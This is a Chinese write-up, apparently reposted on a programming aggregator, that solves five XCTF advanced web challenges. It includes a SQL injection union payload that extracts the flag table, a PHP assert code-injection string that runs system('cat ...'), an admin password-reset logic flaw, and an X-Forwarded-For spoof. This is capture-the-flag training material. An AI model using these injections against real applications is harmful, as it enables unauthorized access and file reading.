攻防世界(XCTF)WEB(进阶区)write up(二)

攻防世界(XCTF)WEB(进阶区)write up(二),第1张

概述国庆就要莫得了   起床刷几道         NewsCenter mfw Training-WWW-Robots NaNNaNNaNNaN-Batman bug       NewsCenter       search传参那里发现有注入 注入出flag即可 没太大转弯 ‘ and 0 union select 1,2,fl4g from secret_table #            

国庆就要莫得了   起床刷几道

 

 

 

 

NewsCenter

mfw

Training-WWW-Robots

NaNNaNNaNNaN-Batman

BUG

 

 

 

NewsCenter

 

 

 

search传参那里发现有注入 注入出flag即可 没太大转弯

 and 0 union select 1,2,fl4g from secret_table #

 

 

 

 

 

 

 

 

 

 

 

 

mfw

 

发现git泄露 下载下来看源码

 

 

 

 

 

index.PHP中关键源码:

<?PHPif (isset($_GET[‘page‘])) {    $page = $_GET[‘page‘];} else {    $page = "home";}$file = "templates/" . $page . ".PHP";// I heard ‘..‘ is dangerous!assert("strpos(‘$file‘,‘..‘) === false") or dIE("Detected Hacking attempt!");// Todo: Make this look niceassert("file_exists(‘$file‘)") or dIE("That file doesn‘t exist!");?>

assert这个函数在PHP语言中是用来判断一个表达式是否成立。返回true or false;

 

$file =templates/ abc‘) or system("cat templates/flag.PHP");// ".PHP"

assert("strpos(‘templates/ abc‘) or system("cat templates/flag.PHP");// ".PHP"‘,‘..‘) === false") or dIE("Detected Hacking attempt!");


strpos中传入了abc,所以其肯定返回false,在利用or让其执行system函数,再用" // "将后面的语句注释掉

 

 

注意这里之所以能像注入攻击一样执行system函数是因为外面有代码执行函数assert

 

 

 

 

 

 

 

 

 

 

 

 

 

Training-WWW-Robots

这题莫得意思 看到robots就可以看到flag文件了

 

 

 

 

 

NaNNaNNaNNaN-Batman

下载下来个文件,打开发现是一段JavaScript脚本

 

 

eval(_)改为console.log(_) 控制台输入调试下

 

 

function $(){    var e=document.getElementByID("c").value;    if(e.length==16)        if(e.match(/^be0f23/)!=null)            if(e.match(/233ac/)!=null)                if(e.match(/e98aa$/)!=null)                    if(e.match(/c7be9/)!=null){                        var t=["fl","s_a","i","e}"];                        var n=["a","_h0l","n"];                        var r=["g{","e","_0"];                        var i=["it‘","_","n"];                        var s=[t,n,r,i];                        for(var o=0;o<13;++o)                        {                            var a=document.write(s[o%4][0]);s[o%4].splice(0,1)                        }                    }}   document.write(‘<input ID="c"><button οnclick=$()>Ok</button>‘);delete _

 

 

这里如果你要正常满足条件输入 然后打印flag

输入的字符串长度必须为16个字符 字符串的开头必须要匹配be0f23 字符串的结尾必须要匹配e98aa 字符串中要能匹配到233acc7be9

be0f233ac7be98aa

 

 

 

你直接打印也行

 

 

 

 

 

 

 

 

 

 

BUG

这题有点多 但是不难

 

打开是个登录

 

 

注册号账号后查看是否登陆进去没能找到漏洞
打开修改密码界面,尝试是否有逻辑漏洞

 

将admin账号的密码成功修改为qing

 

 

 

 

 

 

 

点击后显示ip不匹配  伪造ip头发现xff可以

 

 

 

 

 

 

源码看到注释 

<!-- index.PHP?module=filemanage&do=???-->

 

这里就需要fuzz了    看到filemanage大概也知道是upload upfile之类的

 

 

 

上传fuzz下

 

总结

以上是内存溢出为你收集整理的攻防世界(XCTF)WEB(进阶区)write up(二)全部内容,希望文章能够帮你解决攻防世界(XCTF)WEB(进阶区)write up(二)所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/web/1031111.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-23
下一篇 2022-05-23

发表评论

登录后才能评论

评论列表(0条)

保存